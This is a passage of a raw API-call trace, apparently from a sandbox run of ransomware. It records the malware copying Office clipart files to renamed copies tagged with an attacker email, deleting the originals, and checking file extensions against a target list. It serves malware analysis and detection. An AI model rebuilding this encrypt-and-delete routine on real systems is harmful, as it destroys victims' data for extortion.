office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.285] GetLastError () returned 0x0 [0053.285] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0053.299] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0053.300] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.300] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.300] SetEndOfFile (hFile=0x19c) returned 1 [0053.300] CloseHandle (hObject=0x19c) returned 1 [0053.300] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.301] SetEndOfFile (hFile=0x190) returned 1 [0053.301] CloseHandle (hObject=0x190) returned 1 [0053.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0053.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0053.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0053.302] lstrlenW (lpString=".doc") returned 4 [0053.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.302] lstrlenW (lpString=".docx") returned 5 [0053.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.302] lstrlenW (lpString=".pdf") returned 4 [0053.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.302] lstrlenW (lpString=".xls") returned 4 [0053.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.302] lstrlenW (lpString=".xlsx") returned 5 [0053.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.302] lstrlenW (lpString=".ppt") returned 4 [0053.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0053.302] lstrlenW (lpString=".zip") returned 4 [0053.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.302] lstrlenW (lpString=".rar") returned 4 [0053.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.302] lstrlenW (lpString=".bz2") returned 4 [0053.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.302] lstrlenW (lpString=".7z") returned 3 [0053.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0053.303] lstrlenW (lpString=".dbf") returned 4 [0053.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0053.303] lstrlenW (lpString=".1cd") returned 4 [0053.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0053.303] lstrlenW (lpString=".jpg") returned 4 [0053.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.303] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.303] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.303] GetLastError () returned 0x0 [0053.303] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0053.311] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0053.312] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.312] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.312] SetEndOfFile (hFile=0x19c) returned 1 [0053.312] CloseHandle (hObject=0x19c) returned 1 [0053.312] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.312] SetEndOfFile (hFile=0x190) returned 1 [0053.313] CloseHandle (hObject=0x190) returned 1 [0053.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0053.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0053.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0053.314] lstrlenW (lpString=".doc") returned 4 [0053.314] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.314] lstrlenW (lpString=".docx") returned 5 [0053.314] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0053.314] lstrlenW (lpString=".pdf") returned 4 [0053.314] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.314] lstrlenW (lpString=".xls") returned 4 [0053.314] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.314] lstrlenW (lpString=".xlsx") returned 5 [0053.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0053.314] lstrlenW (lpString=".ppt") returned 4 [0053.314] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0053.314] lstrlenW (lpString=".zip") returned 4 [0053.314] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.314] lstrlenW (lpString=".rar") returned 4 [0053.314] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.314] lstrlenW (lpString=".bz2") returned 4 [0053.314] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.314] lstrlenW (lpString=".7z") returned 3 [0053.314] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0053.315] lstrlenW (lpString=".dbf") returned 4 [0053.315] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0053.315] lstrlenW (lpString=".1cd") returned 4 [0053.315] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0053.315] lstrlenW (lpString=".jpg") returned 4 [0053.315] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.315] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.315] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.315] GetLastError () returned 0x0 [0053.315] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x3d75, lpOverlapped=0x0) returned 1 [0053.317] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0053.318] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.318] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.318] SetEndOfFile (hFile=0x19c) returned 1 [0053.318] CloseHandle (hObject=0x19c) returned 1 [0053.318] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.318] SetEndOfFile (hFile=0x190) returned 1 [0053.319] CloseHandle (hObject=0x190) returned 1 [0053.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0053.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0053.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0053.319] lstrlenW (lpString=".doc") returned 4 [0053.319] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.319] lstrlenW (lpString=".docx") returned 5 [0053.320] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0053.320] lstrlenW (lpString=".pdf") returned 4 [0053.320] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.320] lstrlenW (lpString=".xls") returned 4 [0053.320] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.320] lstrlenW (lpString=".xlsx") returned 5 [0053.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0053.320] lstrlenW (lpString=".ppt") returned 4 [0053.320] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0053.320] lstrlenW (lpString=".zip") returned 4 [0053.320] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.320] lstrlenW (lpString=".rar") returned 4 [0053.320] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.320] lstrlenW (lpString=".bz2") returned 4 [0053.320] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.320] lstrlenW (lpString=".7z") returned 3 [0053.320] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0053.320] lstrlenW (lpString=".dbf") returned 4 [0053.320] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0053.320] lstrlenW (lpString=".1cd") returned 4 [0053.320] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0053.320] lstrlenW (lpString=".jpg") returned 4 [0053.320] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.321] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.321] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.321] GetLastError () returned 0x0 [0053.321] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x32b6, lpOverlapped=0x0) returned 1 [0053.323] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0053.324] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.324] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.324] SetEndOfFile (hFile=0x19c) returned 1 [0053.324] CloseHandle (hObject=0x19c) returned 1 [0053.324] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.324] SetEndOfFile (hFile=0x190) returned 1 [0053.325] CloseHandle (hObject=0x190) returned 1 [0053.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0053.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0053.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0053.325] lstrlenW (lpString=".doc") returned 4 [0053.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.325] lstrlenW (lpString=".docx") returned 5 [0053.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.325] lstrlenW (lpString=".pdf") returned 4 [0053.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.326] lstrlenW (lpString=".xls") returned 4 [0053.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.326] lstrlenW (lpString=".xlsx") returned 5 [0053.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.326] lstrlenW (lpString=".ppt") returned 4 [0053.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0053.326] lstrlenW (lpString=".zip") returned 4 [0053.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.326] lstrlenW (lpString=".rar") returned 4 [0053.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.326] lstrlenW (lpString=".bz2") returned 4 [0053.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.326] lstrlenW (lpString=".7z") returned 3 [0053.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0053.326] lstrlenW (lpString=".dbf") returned 4 [0053.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0053.326] lstrlenW (lpString=".1cd") returned 4 [0053.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0053.326] lstrlenW (lpString=".jpg") returned 4 [0053.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.326] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.326] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.327] GetLastError () returned 0x0 [0053.327] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x25ee, lpOverlapped=0x0) returned 1 [0053.466] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0053.467] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.467] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.467] SetEndOfFile (hFile=0x19c) returned 1 [0054.085] CloseHandle (hObject=0x19c) returned 1 [0054.085] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.085] SetEndOfFile (hFile=0x190) returned 1 [0054.086] CloseHandle (hObject=0x190) returned 1 [0054.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0054.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.087] lstrlenW (lpString=".doc") returned 4 [0054.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.087] lstrlenW (lpString=".docx") returned 5 [0054.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.087] lstrlenW (lpString=".pdf") returned 4 [0054.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.087] lstrlenW (lpString=".xls") returned 4 [0054.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.087] lstrlenW (lpString=".xlsx") returned 5 [0054.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.087] lstrlenW (lpString=".ppt") returned 4 [0054.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.087] lstrlenW (lpString=".zip") returned 4 [0054.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.087] lstrlenW (lpString=".rar") returned 4 [0054.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.087] lstrlenW (lpString=".bz2") returned 4 [0054.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.087] lstrlenW (lpString=".7z") returned 3 [0054.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.087] lstrlenW (lpString=".dbf") returned 4 [0054.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.087] lstrlenW (lpString=".1cd") returned 4 [0054.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0054.088] lstrlenW (lpString=".jpg") returned 4 [0054.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.088] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.088] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.088] GetLastError () returned 0x0 [0054.088] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x27a2, lpOverlapped=0x0) returned 1 [0054.090] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0054.091] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.091] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.091] SetEndOfFile (hFile=0x19c) returned 1 [0054.091] CloseHandle (hObject=0x19c) returned 1 [0054.098] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.098] SetEndOfFile (hFile=0x190) returned 1 [0054.098] CloseHandle (hObject=0x190) returned 1 [0054.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0054.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0054.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0054.099] lstrlenW (lpString=".doc") returned 4 [0054.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.099] lstrlenW (lpString=".docx") returned 5 [0054.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 